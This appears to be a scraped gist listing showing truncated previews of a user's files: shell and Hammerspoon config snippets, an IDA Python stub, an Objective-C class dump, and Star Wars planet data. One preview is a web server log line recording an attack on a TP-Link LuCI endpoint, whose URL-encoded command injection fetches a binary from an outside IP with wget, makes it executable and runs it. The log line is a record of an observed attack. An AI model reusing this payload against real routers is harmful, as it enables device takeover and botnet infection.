This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# 'op' completion for some reason causes VSCode to trigger a | |
# "would like to access data from other apps" prompt | |
# this happens when vscode or an extension sources your .zshrc | |
# we need to check for VSCODE_RESOLVING_ENVIRONMENT, since vscode and | |
# some extensions set that | |
# We ALSO need to check TERM_PROGRAM since opening an interactive terminal session | |
# within vscode will *also* trigger the TCC prompt | |
if [ -z "$VSCODE_RESOLVING_ENVIRONMENT" ] && [ "$TERM_PROGRAM" != "vscode" ]; | |
then | |
# initialize 1Password cli completions if 'op' exists |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
84.54.51.37 - - [24/Jul/2024:12:57:14 -0700] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F74.50.81.158%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60) HTTP/1.1" 404 162 "-" "Go-http-client/1.1" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
screenSleep = false | |
screenSaver = false | |
screenLock = false | |
--[[ | |
place in ~/.hammerspoon/kill_screensaver/ | |
load from your hammerspoon init.lua: | |
require "kill_screensaver.kill_ss" | |
A to kill legacyScreenSaver when the screen saver exits and/or screen wakes | |
legacyScreenSaver has a memory leak that causes it to consume many gigabytes of memory over |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# shellcheck shell=bash | |
# shellcheck disable=SC1091 | |
# source from .zshrc or similar: | |
# source "$DOTFILES/shell_history_backup.zsh" && _backup_shell_hist | |
function _backup_shell_hist(){ | |
if [ -n "$SHELL_HIST_BACKUP_LOC" ] | |
then | |
_histfile_base="$(basename "$HISTFILE")" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
./classdump.py ../build/Release/formatType ./CommerceKit.json | |
*/ | |
@interface CKDialogController : CKServiceInterface | |
{ | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import idc | |
import os | |
# you won't see this on the console | |
print("hello") | |
class Log: | |
def __init__(self, logfile): | |
self.logfile = logfile |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"meta": { | |
"date": "2021-07-02T01:01:52+00:00", | |
"url": "https://en.wikipedia.org/wiki/List_of_Star_Wars_planets_and_moons" | |
}, | |
"planets": { | |
"Abafar": { | |
"appearances": [ | |
{ | |
"title": "Star Wars: The Clone Wars", |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
:::::::.. :::. :::::::-. ::: ... | |
;;;;``;;;; ;;`;; ;;, `';,;;; .;;;;;;;. | |
[[[,/[[[' ,[[ '[[, `[[ [[[[[,[[ \[[, | |
$$$$$$c c$$$cc$$$c $$, $$$$$$$$, $$$ | |
888b "88bo,888 888,888_,o8P'888"888,_ _,88P | |
MMMM "W" YMM ""` MMMMP"` MMM "YMMMMMP" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Date/time: 2021-03-02T18:47:39.428075-08:00 | |
Information source: https://en.wikipedia.org/wiki/List_of_Star_Wars_planets_and_moons | |
Planets added: | |
Aleen | |
Endor (Sanctuary) | |
Esseles | |
Jestefad | |
Sissubo |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
screenSleep = false | |
screenSaver = false | |
screenLock = false | |
--[[ | |
A module to pause/unpause Folding@Home depending on screensaver, screen lock, and | |
screen sleep state. | |
Folding@Home's "only when idle" mode does not pause/unpause the client at obvious times | |
or for obvious reasons. Instead, This module uses screen state as in indicator that the | |
user is/isn't interacting with the system. |
NewerOlder